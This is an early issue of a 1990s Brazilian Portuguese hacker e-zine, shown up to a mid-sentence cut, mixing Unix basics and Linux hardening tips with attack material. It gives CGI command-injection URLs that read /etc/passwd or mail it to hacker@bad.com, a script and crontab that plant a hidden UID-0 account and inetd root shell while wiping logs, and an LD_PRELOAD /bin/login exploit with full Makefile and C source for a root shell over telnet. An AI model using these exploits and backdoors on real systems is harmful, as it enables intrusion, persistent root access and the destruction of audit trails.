-start- ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`:.:`""::"`````"::'"```'.::::: ::::: .g#S$$$$$S#n .g#S$$ $$S#n. $$$S#s s#S$$$ ::::: ::::: $$$$$$ $$$$$ $$$$$$ $$$ $$$$$$ . $$$ $$$ .::::: ::::: $$$$$$g$$$$$. $$$$$$ $$$ $$$$$$ :' $$g$$ .:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$ $$$$$$ ' $$$$ $$$$ '::::: ::::: $$$$$$ $$$$$ $$$$$$.$$$.$$$$$$ $$$$$ . $$$$$ ::::: ::::: $S$$$$ $$$$ `S$$$$$$$$$$$$$S'.`S$$ : $$S'.::::: :::::.......:.....:::.............:::....:::....::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::: RWX n. 00 (melhor visto com vi, ou edit) e-mail do zine: rwx@valise.com rwx@st.com.br home-page: http://152.160.30.1/~rwx [temporario] http://www.st.com.br/~rwx ESCLARECIMENTO ============== Esta e' uma zine voltada a area de seguranca , seja qual for sua intencao em ler nao nos responsabilizamos pelo mau uso das informacoes aqui conti- das. Nao estamos aqui pra ensinar ninguem a ser Hacker ou um terrorista, nosso objetivo e a pura troca de informacao entre pessoas que buscam o conhecimento na rede, e nos opomos aqueles que so visam o lucro.Caso dis- corde de algo ou tenha alguma sujestao, escreva-nos, ficaremos felizes em ouvi-lo. /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ INDICE ====== faqs, textos 1. INTRODUCAO 2. INTRODUCAO A SEGURANCA NO CGI 3. COMANDOS INICIAIS NO UNIX 4. PROTEGENDO SEU XWIN 5. UNIX BACKDOORS 6. SETANDO SEU LINUX PARA A NET 7. /bin/login exploits, bugs 8. PINEBUG - Qualquer sistema Unix-Compativel 9. CRONTAB - OSf/1 , AIX 3.* , Digital unix 10. SENDMAIL - Qualquer sendmail 8.8.4 11. CXTERM - Linux finalizacoes, pedidos, agradecimentos, emails 12. PEDIDO PARA A GALERA 13. EMAILS 14. END /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ INTRODUCAO ========== auth 97 No comeco de 1990, a internet mudou totalmente , desde os anos 80. Hoje a Internet e' e pode ser usado por qualquer um . Oque era apenas uma rede fechada, ganha novas atracoes e novas tecnologias a cada mes. No Brasil, a internet veio pela rnp . As oportunidades de comercio e diversao sao muitas, com isso, a popularidade aumentou muito.Com isso tb, veio o bando de provedores,um fazendo concorrencia com o outro, so' pra lucrarem mais, mas, onde esta o usuario simples nisso, aquele que trabalha o dia inteiro e depois chega a noite e quer se divertir , mas com um provedor 64k, que junto com o bloqueto bancario, vem uma faca. Como ? ai, isso tudo provoca a desuniao, ou seja,tem muitos que so' vivem pra detonar web, mas pq tudo isso ? garanto que se cobrassem um preco justo,alem de vir mais clientes, garanto que iriam parar de tentar pegar mais senhas (os 'invasores'). Mas enquanto isso nao acontece,nossa sociedade ta cada vez mais perverssa e precisamos uma uniao de provedores,ate certa parte,nos vamos ajudar vcs, nao importa o sistema, de linux a nt, sempre vamos dar umas dicas. Tentaremos explicar muita coisa que para nosso ponto de vista e' muito 'babaca' , mas para vcs , pode ser uma coisa totalmente nova . Entao, se algum admin ou qquer cara , gostar do nosso trabalho , publicaremos mensalmente essa revista, mas, para isso, precisamos de apoio, precisamos de um espaco na web, tamo cansado de geocities, e tb nao tamo afim de ir pra cadeia por ter dado cartao verdadeiro na internic.Se vc gostou, mande um reply , nos ficariamos lisongeados , se pelo menos um admin cedesse um pequeno espaco para pormos nossa revista. E vc usuario , se vc e' aqueles 'gurus' do cyberspaco e nao gostar da revista, problema e' teu.Escrevemos nao so' para vc , se vc ja aprendeu, parabens! Quem escreve esse zine sao cinco neguinhos, tipo , auth, DmS , skynet , zaph0d e o N3trunn3r , esses caras vao tentar matar qquer falhazinha em muitos sistemas. Nessa edicao do zine, vamos mostrar algumas falhas no CGi,e muitas outras falhas como o do /bin/login, que vai comprometer teu sistema MESMO . Tem muita coisa boa, do tipo, como a galera faz spoof , exploits para pegar root, comandos para novatos no unix . Cada texto desse e' uma parte bem sofrida nossa. Por isso, espero que aproveitem, como disse antes,e repito isso aqui nao e' para aquele cara esperto que detona tudo, ou para aquele sysadm que sabe tudo e se acha o bom,para esses,parem de ler o zine agora. com atencao, auth /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ INTRODUCAO A SEGURANCA DE CGI ============================= auth 97 Ta', aqui vai uma pequena introducao sobre muitos dos problemas encontra- dos em CGI 's , e' importantissimo que admins e interessados no assunto leiam esta materia, pois acho que essa e' a primeira detalhando os passos seguidos por um invasor em portugues, atraves do CGI. O uso destes , tras muitas vantages para a visao do usuario, mas por tras de muitos codigos , existe muita inseguranca, espero abrir um pouco a mente da galera , para comecar a escrever scripts seguros, sem mais besteiras, vamos ao assunto. ......................................................................... O CGI, Common Gateway Interface, e' uma interface que deixa a comunicacao entre programas do cliente e a do servidor livres para se falarem , e tb de entender certos tipos de hyper-text . O tcp e' o protocolo usado pelo script CGI, durante suas comunicacoes, a porta original e' a 80. Se um programa em cgi e' escrito corretamente, e' muito dificil qualquer usuario danificar e apagar dados do sistema.Mas,para um usuario indeviduo acessar algo, e' necessario que o dir cgi-bin nao esteja marcado com 0,ou seja, esteja livre para qquer user. Um exemplo basico de como um usuario pode mexer,e' criando um arquivo pe- rigoso. Por exemplo , o server esta rodando como nobody o que normalmente tem permissao para escrever no diretorio /tmp.Criando um arquivo qualquer chamado por exemplo BLA dentro do tmp com o touch: http://server/cgi-bin/finger?nome; \ touch%20/tmp/bla http://server/cgi-bin/finger?nome; \ touch+/tmp/bla Isso nao e' motivo para se alarmar ou chorar por besteiras, pois o maximo que o usuario pode fazer, e' pegar seu passwd. :)) Existe tecnicas e furos como os de PHF, ou o PHP (elimine, rm), ou ate o QUERY, que sao arquivos encontrados no meio CGI , que podem simplesmente ao alguem acessar, alcancar seus arquivos de superusuario . Isso e',claro qdo o cgi-bin nao esta protegido. Phf: ---- http://www..com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd Php: ---- http://www..com/cgi-bin/php.cgi? Query: ------ http://www..com/cgi-bin/query?%0a/bin/cat%20/etc/passwd Atencao, o phf, o php, e o query nao sao bugs! Os tres,fazem suas funcoes normalmente, nao citadas ae por motivo de espaco. ......................................................................... Test-CGI -------- Esse e' mais um verdadeiro furo, que eh encontrado em muitos arquivos de test cgi,ele normalmente fica no dir cgi-bin,qdo vc fizer ele diretamente na porta 80, ele vai cair diretamente no dir do root , mostrando os dirs. http://www..com/cgi-bin/test-cgi?/* vai aparecer muita coisa, como configuracao e bla,bla. Como arrumar ? simples , como antes , apague o test-cgi, pra que usa-lo ? ......................................................................... Exemplos mais maleficos de scripts: Ai vao, alguns textos de scripts, todos com certos problemas neles. #!/usr/bin/perl print "Content-type: text/plain\n\n"; $address = $ENV{`QUERY_STRING`}; print "FINGER de $address:\n\n", \ `/usr/bin/finger $address`; Neste primeiro exemplo, temos uma chamada ao finger , o objetivo era ver dados de usuarios,mas com isto da pra notar que vc pode ver qualquer file do sistema, com o "fingerd" : http://www..com/cgi-bin/finger?nome; \ %20mail%20hacker@bad.com%20< /etc/passwd Como, esta direcao , ira dar o finger no NOME , e ira mandar um mail para hacker@bad.com, com o /etc/passwd. Simples e obvio, nao ? So que isso,e' muito dificil de se encontrar hoje,muitos admins ja cortam o finger na porta 79 no /etc/services, ou seja, nao deixam mais ninguem acessar essa porta , quanto mais fazer um script retardado para fingar alguem.Ai em baixo vai uma versao mais sutil e segura do script para fing, so' abilitando caracteres de a-z, A-Z, 0-9, . - _ @. Se fizermos isso , o script reconhecera os comandos indeviduos, e assim ficara seguro. #!/usr/bin/perl print "Content-type: text/plain\n\n"; $address = $ENV{`QUERY_STRING`}; if ($address =~ /[^a-zA-Z0-9_-.<\@>]/) { print "Username tem que ser assim \"user@machine\", tente novamente,\n"; } else { print "FINGER de $address:\n\n", \ `/usr/bin/finger $address`; } ......................................................................... Esse exemplo, ja e' mais normal, e acontece em muitos, mas muitos servi- dores brasileiros , e' o caso de mandar emails diretamente da url para o user. #!/usr/bin/perl require ("cgi-lib.pl"); ReadParse; #Coloque "To:" para quem #"$in{`to`}" open (MAIL,"| /usr/lib/sendmail $in{`to`}"); print MAIL "From: ble\n\nbla\n"; close MAIL; Os usuarios mais espertos tentariam colocar no "to:" a seguinte linha: nobody@seila.com; mail hacker@bad.com < /etc/passwd; Isso, mandara direto para o hacker@bad.com, o arquivo passwd. Cuide-se ! Uma melhor forma de escrever este script CGI, e' a seguinte: #!/usr/bin/perl require ("cgi-lib.pl"); ReadParse; open (MAIL,"| /usr/lib/sendmail -t -oi"); print "To: $in{`in`}\nFrom: MyForm\n\nBla\n"; close MAIL; Assim ele fica bem melhor! ......................................................................... Olha, esse exemplo e' um script bem daqueles pega admin,do tipo,colocando esse script no seu cgi-bin , qualquer usuario tera limites a acessar e executar qualquer arquivo no seu hd,o prog,so' re-mostra qualquer palavra que vc escreva, mas, mostra tb o perigo do %0A. #!/usr/local/bin/perl # usage: http:///cgi-bin/echo? $| = 1; $in = $ENV{'QUERY_STRING'}; $in =~ s/%(..)/pack("c",hex($1))/ge; # Caracteres basicos $in =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g; print "Content-type: text/html\n\n"; system("/bin/echo $in"); agora, executando isso no seu browser, ou mesmo telnetiando pra 80: http:///cgi-bin/echo?ola%20admin isso ira mostrar na tela "ola admin"... :)) mas se vc acrescentar 3 caracteres, do tipo %0A,vc podera executar certas coisas impossiveis. Ex: http:///cgi-bin/echo?%0Acat%20/etc/passwd Executando a funcao "cat" para pegar o /etc/passwd. ......................................................................... Do tipo, se vc usa o script de WWWboard de Matt's Script Archive, (www.worldwidemart.com/scripts), seu sistema e' vulneravel, o usuario pode mudar as mensagens escritas. Mas, como o arquivo de passwd, tem que ficar no mesmo diretorio do wwwboard, fica simples catar o passwd, que normalmente, hehe, e' desprotegido. Dica simples, mude o arquivo para um outro nome, e edite o script para achar o novo arquivo. ......................................................................... Ae , e' isso ai, leiam! Este texto nao foi la nada 'hacker', e complexo, se vc ja sabia ou tal, o problema e' teu, tem muito admin que deixa muito muito cgi aberto pra galera ir la e detonar , a esses que o texto lhe sirvam. Nao se esqueca, este foi a primeira parte,trazendo as partes mais basicas da seguranca em scripts feitos em perl e outros, proxima edicao , tem mais! :)) auth. /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ Unix Commands by DmS ==================== Bom aqui vao explicacoes dos comandos mais usados em UNIX: * ls : Listagem dos arquivos Opcoes recomendadas: ls -la ps : Comando que permite ver "todos" os procedimentos que estao sendo rodados naquele momento.Bastante util para verificar o PID do procedimento em caso de vc querer killar o procedimento. Opcoes recomendadas: ps -aux kill : Comando usado pra killar procedimentos. Opcoes recomendadas: kill -9 ->OBS<-: PID sera o numero do processo a ser killado cat : Serve para mostrar o conteudo do arquivo. Recomendo usar junto com o comando more Exemplo:cat /home/rwx/text.doc |more who : Como o comando ja diz, serve para ver quem esta logado na maquina no momento.Ele indica IP , tty , e outras coisas do usuario Opcoes recomendadas: who -HTu chmod:Mudar permissoes dos arquivos. R(read) W(Write) X(eXecute). Cada grupo de usuarios da maquina tem uma permissao. - rwx r-x r-x tipo owner grupo outros Na parte tipo , ele determina que tipo de arquivo que é. Por exemplo se for um tipo d = diretorio , - = arquivo l = link e assim por diante. Na sessao owner , estao as permissoes do dono do arquivo No nosso exemplo , o dono pode r(ler) w(escrever) e x(executar). Em grupo ,todos os usuarios pertecentes a esse grupo tem permissoes r-x , ou seja, tem permissao para "ler" e executar. Os outros usuarios que nao sejam nem o owner, nem seja do mesmo grupo, teram permissoes para ler e executar o arquivo. Alterando permissoes ==================== chmod atribuicao arquivo onde atribuicao serao os caracteres da permissao. Por exemplo: Exemplo: chmod ugo=rw rwx00.txt u=dono do arquivo, g=grupo e o=outros usuarios. r=leitura e w=escrever . No exemplo acima, todos os usuarios teram permissao para ler e escrever no arquivo rwx00.txt Outro exemplo: chmod go-x exec.sh O grupo e os outros usuarios sem serem o dono, perderam a capacidade de executar(x) o arquivo exec.sh Alterando por numeros: ====================== O chmod pode tambem ser usado com numeros que facilitam a mudanca de permissoes dos arquivos -------------------------- numero permissoes -------------------------- 0 --- 1 --x 2 -w- 3 -wx 4 r-- 5 r-x 6 rw- 7 rwx -------------------------- Exemplo: chmod 644 teste.txt As permissoes do arquivo teste.txt passaram a ser w-r--r-- , onde o dono podera ler e escrever , o grupo podera apenas ler igualmente aos outros. Outro exemplo: chmod 777 rwx.sh Todos os usuarios da maquina teram permissao para ler, escrever e executar o arquivo rwx.sh setuid: Este bit, se ativado no grupo de permissoes do dono do arquivo,indica que todos os q executarem este programa o estarao fazendo com os privilegios do proprietario do arquivo.Por exemplo, o programa sendmail e setuid root, o que lhe permite gravar arquivos na fila de mensagens do sistema,o que e vedado a usuarios normais.Este bit não possui significado em arquivos nao executaveis. ex: -r-sr-sr-x 1 root bin 237332 May 11 1996 /usr/sbin/sendmail setgid Este bit atua da mesma forma que o setuid bit, com a diferenca que o pro- grama sera executado com as permissoes do grupo ao qual pertence. NOTA: Shell scripts que possuem os bits setuid ou setgid ligados nao sao seguros , nao importa quantas precaucoes tenham sido tomadas ao escreve-los . Tais scripts nunca devem ser permitidos em qualquer sistema Unix.Algumas versoes antigas do Unix nao resetavam o setuid, ou seja, um arquivo com a permicao write p/ all com setuid root po- deria ser copiado a um shell por qualquer pessoa tornando-a root. Proxima edicao tem mais comandos!! :)) /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ PROTEGENDO SEU X Windows ======================== n3trunn3r 97 Esse eh um esquema chamado "Magic-Cookie" , e tem como objetivo proteger usuarios de Linux /X-Windows de programas tipo "xkey" , que capturam os caracteres digitados no XWin. Se voce estiver rodando o xdm naum precisa fazer nada , mas se vc estiver rodando o XWin "single user" vc precisa fazer o esquema, pois o xdm naum estara sendo usado. Eh bem facil de fazer, e naum deve dar nenhum problema se vc fizer tudo certo. Bom, vamos lah. Em primeiro lugar, rode o xauth como root. Com isso , sera criado o Magic Cookie.Ao rodar o xauth pela primeira vez,aparecerah na tela alguma coisa do tipo: xauth: creating new authority file /home/locutus/.Xauthority Using authority file /root/.Xauthority xauth> Agora vc tera que pensar em um numero hexadecimal de 100 digitos. Pode colocar qq um, vc naum vai ter que lembrar dele depois ;) (mas naum coloque numeros muito faceis de se adivinhar, como 1111111...) No prompt do xauth digite: xauth> add :O MIT-MAGIC-COOKIE-1 Digite "exit" e saia do xauth. Com isso, as informacoes serao gravadas no .Xauthority no dir /root . Copie esse arquivo para o /home so usuario que tem acesso ao X-Win, e para /etc/X11/Xauthority. Certifique-se de que /etc/X11/Xauthority esta com a permissao 600 e que seu proprietario seja root. Alem disso, faca com que a copia que esta no /home do usuario esteja com a permissao +r para este usuario. Quase pronto. Agora que vc criou o Magic-Cookie, deve editar o arquivo /usr/X11/bin/startx. Ache a linha serverargs="" e coloque no lugar: serverargs="-auth /etc/X11/Xauthority" Com isso o Xwin ira chamar o Magic-Cookie.Reinicie o XWin e esta pronto. That's ALL! Se me derem uma conta, hehe, mes que vem tem mais by N3tRUNN3r /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ UNIX BACKDOORS ============== auth 97 Bom, ai vai 2 tipos de backdoors para unix , se vc encontrar um desses ai na sua maquina, vc sabe oque deve fazer (apague, ou altere os filez) Backdoor , e' um tipo de 'seguranca' para aqueles que ja pegaram root e se em caso o root trocar a senha ou outra coisa acontecer, vcs terao como voltar a ser root. simples mas eficaz. :) Esse primeiro, nao e' bem um backdoor, esse eh soh um caso de desespero para o 'invasor', ele vai botar um superusuario no meio do passwd com o nome de Jtadeu, ta ai o script. #!/bin/csh set linecount = `wc -l /etc/passwd` cd cp /etc/passwd ./temppass echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 echo Creating two files, $linecount[1] lines each \(ble\). split -$linecount[1] ./temppass echo "Jtadeu::0:0:Ja deu, Tadado:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd rm ./xa* ./temppass echo Prontinho! .......................................................................... Com esse backdoor , o 'invasor' vai ter root apartir das 2:00 da manha, eh so' modificar esse file: /usr/spool/cron/crontab/root E pronto, coloque isso: 2 * * * * cp /etc/passwd /tmp/.passwd 2 1 * * * echo Jtadeu::0:0:Ja dei:/:/bin/bash > /etc/passwd 2 2 * * * cp /etc/inetd.conf /tmp/.inetd.conf 2 3 * * * echo Portashell stream tcp nowait root /bin/sh sh -i > /etc/inetd.conf 2 4 * * * cp /etc/services /tmp/.services 2 4 * * * echo telnet stream tcp nowait root /usr/sbin/in.telnetd /us r/sbin/in.telned >> /etc/inetd.conf 2 5 * * * echo rwx 1888/tcp > /etc/services 4 * * * cp /tmp/.passwd /etc/passwd 4 1 * * cp /tmp/.inetd.conf /etc/inetd.conf 4 2 * * cp /tmp/.services /etc/services 4 3 * * rm /var/log/* 4 5 * * rm /tmp/* 4 6 * * /sbin/reboot Simples, e exato. :)) Mes que vem tem mais,e' so' nois acha um server que de uma page livre... :) /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ DICAS - Prepare seu Linux pra Grande Rede. ========================================== By Skynet 27/07/97 INTRODUCAO ========== Nesta secao de dicas mostrarei algumas maneiras de adaptar seu Linux a realidade da Internet. Obviamente esta materia esta mais voltada aquele usuario que esta comecando a conhecer o potencial do melhor Sistema Operacional do mundo, e que nas maos de pessoas inexperientes pode se tornar o seu maior vilao. Caso vc ja seja Guru nisso aqui, peco pra nao ler,pois nao gosto de piadinhas pro meu lado ;-P .... Depois de instalado, o linux , varios de seus servicos vem habilitado por default . Isso torna sua maquina um tanto quanto "vulneravel" , seja por problemas de projeto(Bugs),seja por excesso de informacao (netstat,finger ,etc...) Muitas dessas vulnerabilidades serao discutidas brevemente nos proximos numeros. O que ta valendo aqui e o seguinte: Como proteger seu sistema dos seus inimigos. ..................................... 1- SERVICOS DO TCP PORT ======================= Sao esses 3: a)Netstat (tcp/15) Mostra todas as informacoes sobre sua coneccao (portas,enderecos,etc) b)Systat (tcp/11) Se encarrega de mostrar os processo que tao rodando na sua maquina,ou seja,qualquer pessoa pode saber o que vc ta fazendo, simplesmente dando um telnet pra porta 11. c)Finger (tcp/79) Mostra informacoes sobre usuarios no seu sistema(logins,diretorios, tempo, shells,etc..). Apresenta algumas falhas de seguranca que podem ser exploradas remotamente. NOTA: Todos eles ja vem habilitados por default, ao meu ver foi uma ==== mancada de quem projetou o sistema(minha opiniao). Aconselho desabilitar esses servicos. Comente as seguintes linhas no arquivo /etc/inetd.conf: #finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -w #systat stream tcp nowait nobody /usr/sbin/tcpd /bin/ps -auwwx #netstat stream tcp nowait root /usr/sbin/tcpd /bin/netstat -a .......................................... 2- ttysnoop - MONITORANDO OS TERMINAIS ===================================== Certamente vc sabe o que e um TELNET SERVER(ohhh!) Pois bem,a maioria das pessoas que conheco desabilitam esse servico por precaucao.Na minha opiniao tal medida nao e necessaria, pois existem ferramentas que alertam de uma eventual "invasao" . Uma delas e o ttysnoop.Pra quem nao sabe esse daemon faz com que vc veja tudo que esta acontecendo no terminal de acesso da maquina (ttypn), alem de limitar o acesso a mesma.Infelizmente o ttysnoop so permite que vc OLHE o que outro ta fazendo,se vc tentar mexer em algo a coneccao com o terminal sera perdida. A Instalacao e bem simples e vale a pena. 2.1 Instalacao passo-a-passo ---------------------------- a) Desabilitar o in.telnetd. Pra isso comente a seguinte linha no /etc/inetd.conf: #telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd b) Habilitar o in.telnetttysnoopd. Tire o comentario da seguinte linha: telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetsnoopd OBS: Certifique-se de que esse arquivo realmente existe na maquina, ja vi casos em que o sistema nao veio com ele(RedHat). c) Definir os terminais de acesso e monitoramento. Essa e a parte mais importante. acrescente as seguintes linhas no /etc/snooptab: # tty snoopdev type execpgm ttyp0 /dev/tty6 login /bin/login ttyp2 /dev/tty5 login /bin/login No exemplo eu defini dois terminais de monitoramento. Quando alguem der um TELNET o snoopdev sera direcionado para os consoles ALT-F6 ou ALT-F5. Nesse caso o numero maximo de coneccoes permitidas na maquina sera de 2 e vc vera tudo que esta acontecendo! Interessante, huh? OBS: Nao esquecer de que pra tudo isso funcionar vc devera reinicializar o sistema. ................................................ 3- Monitorando o FTP server ======================== O Ftp server e outro servico que muita gente(inclusive EU) tem o custume desbilitar. Nao conheco nenhum programa que mostre o q o cara ta fazendo no FTP server em tempo real como o ttysnoop, mas ha um truque simples que mostra quem ta logado no ftp e o que ta fazendo! :-) Ex: cyberdine:~# tail -f /var/adm/messages Aug 3 00:15:31 cyberdine wu.ftpd[125]: connect from skynet@127.0.0.1 Aug 3 00:15:42 cyberdine ftpd[125]: USER skynet Aug 3 00:15:44 cyberdine ftpd[125]: PASS password Aug 3 00:15:44 cyberdine ftpd[125]: SYST \ Aug 3 00:16:22 cyberdine ftpd[125]: PORT \ Aqui eu simples- Aug 3 00:16:51 cyberdine ftpd[125]: CWD /home/skynet / mente digitei um Aug 3 00:18:54 cyberdine ftpd[125]: FTP session closed "pwd" e um "bye" K00l! Isso nao so mostrara o que acontece no ftpserver em tempo real como tambem outras coisas, como Status da coneccao(ppp),telnet,etc... ................................................................ 4- /var/adm/debug - PROTEGENDO SUAS SENHAS (PPPD) =============================================== Existe uma arquivo chamado debug que loga todas as informacoes referentes a comunicacao de sua maquina com o provedor entre as quais a senha que vc eventuamente esta usando para conectar, creio que os mais desligados podem nao ter reparado esse detalhe: cyberdine:~$ grep 'password' /var/adm/debug Apr 2 13:04:17 cyberdine pppd[31984]: sent [PAP AuthReq id=0x1 user="skynet" password="SuaSenha"] Tal arquivo vem com permicao Read p/ ALL! Aconselho a tirar todos os modos non-root desse arquivo. Ex: cyberdine:~# chmod go-rwx /var/adm/debug OBS: Faca o mesmo com os arquivos /var/adm/messages e syslog. ..................................................... Bom, por enquanto e so. Nas proximas edicoes vou colocar dicas mais avancadas(Only Gurus) ;-) ////////////////////////////////////// / Cya, d00d. / /..:.Skynet Undergrounds 1997.:.. / ////////////////////////////////////// /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ Relacao Cliente/Servidor de sistemas TELNET unix-compativeis O Furo - /bin/login Escrito por Zaph0d no dia 3/8/97, as 10hs, 30mins, 07segs, 134ms, ... ===================================================================== Hi D00dZ, 1) Consideracoes Iniciais: Bem, este eh o numero 0 da nova zine RWX, e estou realmente mto lisongeado em ter sido convidado a colaborar com ela, pelo meu amigo SkyNet, um dos organizadores da zine. Rasgacoes de seda a parte, estou aki pra falar de seguranca de sistemas cliente/servidor do velho conhecido de vcs: O TELNET. O Telnet tem um potencial mto grande de furos a ser explorado, pelo simples fato de que como todos vcs jah devem saber, TODO cliente telnet unix-compativel tem capacidade de exportar variaveis de sistema, e todo servidor telnet tbem unix-compativel, tem a capacidade de aceitar essas variaveis exportadas, e isso eh um grande furo em potencial... No nosso ex. de hoje, estaremos nos utilizando de uma falha no /bin/login de alguns sistemas UNIX, geralmente Linux Slackware, mas eventualmente pode cair num RedHat, ou quem sabe ateh no BSD. 2) A diversao comeca aki Como dito acima, todo cliente telnet unix-compativel tem a capacidade de exportar variaveis de sistema (e vcs pode tbem defini-las, nham). Como entao definir e exportar variaveis de sistema? a) Definindo e exportando variaveis de sistema em clientes telnet. rwx:~$ telnet telnet> environ define TERM vt100 telnet> env exp TERM telnet> O q eu fiz acima? No prompt do seu shell predileto, entre no 'telnet' apenas digitando esse comando, sem nenhum parametro. Uma vez no prompt 'telnet>' define-se a variavel de sistema TERM como 'vt100' (o padrao dessa variavel eh 'Linux', no meu caso q uso o Slackware), digitando 'environ define TERM vt100'. Os comandos do telnet podem ser abreviados, como env=environ, def=define, exp=export, li=list, e tantas outras combinacoes q vc pode criar. Apos ter criado a variavel TERM (re-criado,a bem da verdade), e definido ela como 'vt100', vem-se a hora de marca-la como exportavel (alguns telnet's jah na criacao da variavel a marcam como exportavel). Exportar a variavel foi exatamente o q fiz na 3a linha.Com o comando 'env exp TERM', q eh uma abreviacao de 'environ export TERM', eu marquei a variavel TERM como exportavel. Pronto, agora vc estah no jogo, e jah aprendeu a definir/exportar variaveis atraves de um cliente telnet unix-compativel. Soh pra finalizar este topico, a q vai uma dica pra qdo desejarem saber se a variavel recem-definida estah realmente marcada como exportavel: telnet> environ list A saida deste comando serah uma imensa lista de variaveis (q podem ser totalmente vistas com o SHIFT-PGUP, SHIFT-PGDOWN),e entra elas encontro a seguinte linha: * TERM vt100 O * do lado da variavel TERM me indica que ela estah marcada como exportavel. Isso evidentemente devo fazer apos a definicao/exportacao das variaveis, apenas como uma forma de me certificiar q fiz as coisas corretamente. b) O furo - /bin/login Tendo entendido completamente a explicacao acima, vem-se a brincadeira, hehe >:). Em alguns Linux Slackware's (e outros, possivelmente), ha um falha ateh certo ponto grotesca no /bin/login. Isso mesmo, akele programinha onde vc digita seu login e password. Alguns /bin/login sao estaticos, nao aceitando variaveis de sistema como parte da sua rotina de funcionamento, e estao imunes a este furo, jah outros /bin/login sao dinamicos (we're in game there), e aceitam uma certa variavel de sistema que define uma biblioteca de auxilio a execucao da rotina de funcionamento. Que variavel eh esta? Bem, a variavel se chama LD_PRELOAD, e vc deve defini-la/exporta-la como o caminho completo ateh onde se localiza uma biblioteca para exploit, onde cairemos num shell ROOT. c) A brincadeira por ela mesma Requisitos para exploit: 1. Acesso FTP ou Shell na makina 'vitima' com permissao para WRITE em algum diretorio. Podendo tbem escrever em algum diretorio a partir de alguma falha de um sistema NFS implementado no sistema (acreditem, elas existem). 2. Se o acesso for via SHELL, sem problemas, se for via FTP com usuario com acesso WRITE ao seu diretorio, tbem sem problemas (pode tbem colocar no /tmp), mas se for via Anonymous FTP, deve haver permissao para escrever (write) em algum diretorio dos permitidos no mesmo. Compromissos do Exploit (em sistemas VULNERAVEIS): 1. Shell ROOT por 60 segundos, devendo o invasor ter alguma coisa no buffer, para criar um usuario com UID 0 (ackkk, nao faca isso!!), ou mesmo um shell com setuid root (hmmm, melhor fazer isso)... Depende de sua criatividade, pois pode-se assegurar o futuro acesso a uma makina de diversas maneiras, e nao estou aki pra lhe ensinar o basico, porra. ;)) Atencao, aki embaixo vao agora 3 arquivos, sendo eles, o Makefile, o getpass.c, e o openlog.c, respectivamente. Utilize o Makefile para criar a biblioteca 'libroot.so', com o comando 'make all', depois disso defina a variavel de sistema LD_PRELOAD como o caminho completo ateh a libroot.so, entao exporte-a, e abra conexao a makina-vitima, de tal maneira: telnet> open vitima.com -- Os Arquivos -- -----------------------------CoRtE-AkI-D00d------------------------------- #Makefile # # Makefile para criar a libroot.so # #Esta Makefile produz uma libroot.so alterada, sendo esta que lhe darah um #shell root atravez de novas conexoes telnet # #Escrito por squidge - The Guild, e adaptado, traduzido e comentado por #Zaph0d - The Wild, hehe ;) # nothing: @ echo "Para criar a biblioteca, digite 'make all'" @ echo "Apos isso, digite 'make clean' e continue..." @ echo " " @ echo "squidge@onyx.infonexus.com" all: source lib install source: getpass openlog getpass: getpass.c gcc -o getpass.o -c getpass.c -fPIC openlog: openlog.c gcc -o openlog.o -c openlog.c -fPIC lib: getpass.o openlog.o ld -shared -o libroot.so getpass.o openlog.o install: libroot.so chmod 755 ./libroot.so clean: @ rm -f *.o -----------------------------CoRtE-AkI-D00d------------------------------- /* */ /* Substituto para a libc getpass() que lhe dah um shell ROOT */ /* squidge@infonexus.com */ #include char *getpass(const char *prompt) { printf("Bem-vindo(a) ao maravilhoso mundo do uid = 0\n"); printf(" squidge\n\n"); fflush(stdout); system("/bin/sh"); printf("exploit from my forthcoming paper:\n"); printf("Hardening your site - outside -> in\n"); printf("Com a colaboracao da zine RWX"); } -----------------------------CoRtE-AkI-D00d------------------------------- /* */ /* Substituto para a libc openlog() que lhe dah um shell ROOT */ /* squidge@infonexus.com */ #include void openlog(char *t1, int t2, int t3) { printf("Bem-vindo(a) ao maravilhoso mundo do uid = 0\n"); printf(" squidge\n\n"); fflush(stdout); system("/bin/sh"); printf("exploit from my forthcoming paper:\n"); printf("Hardening your site - outside -> in\n"); printf("Com a colaboracao da zine RWX"); } -----------------------------CoRtE-AkI-D00d-------------------------------- d) Invadindo... Apos colocar esses 3 arquivos (Makefile, getpass.c, openlog.c) num certo diretorio, deve-se digitar: 'make all', e depois (se desejar) 'make clean', para detonar os arquivos .o q nao sao mais uteis. Haverah entao um NOVO arquivo criado, o 'libroot.so', e eh esta coisinha pequenina que te ajudarah a ganhar o shell ROOT. Como explicado acima, vc deve proceder da seguinte maneira: 1) Atraves de acesso Shell, ou FTP com permissao Write, ou mesmo alguma falha de um sistema NFS implementado, fazer o UPLOAD do arquivo 'libroot.so' para algum diretorio, e entao saber EXATAMENTE o caminho completo onde estah o libroot.so (eg. /diretorio/libroot.so). O caminho completo pode ser descoberto no Shell ou FTP digitando-se o 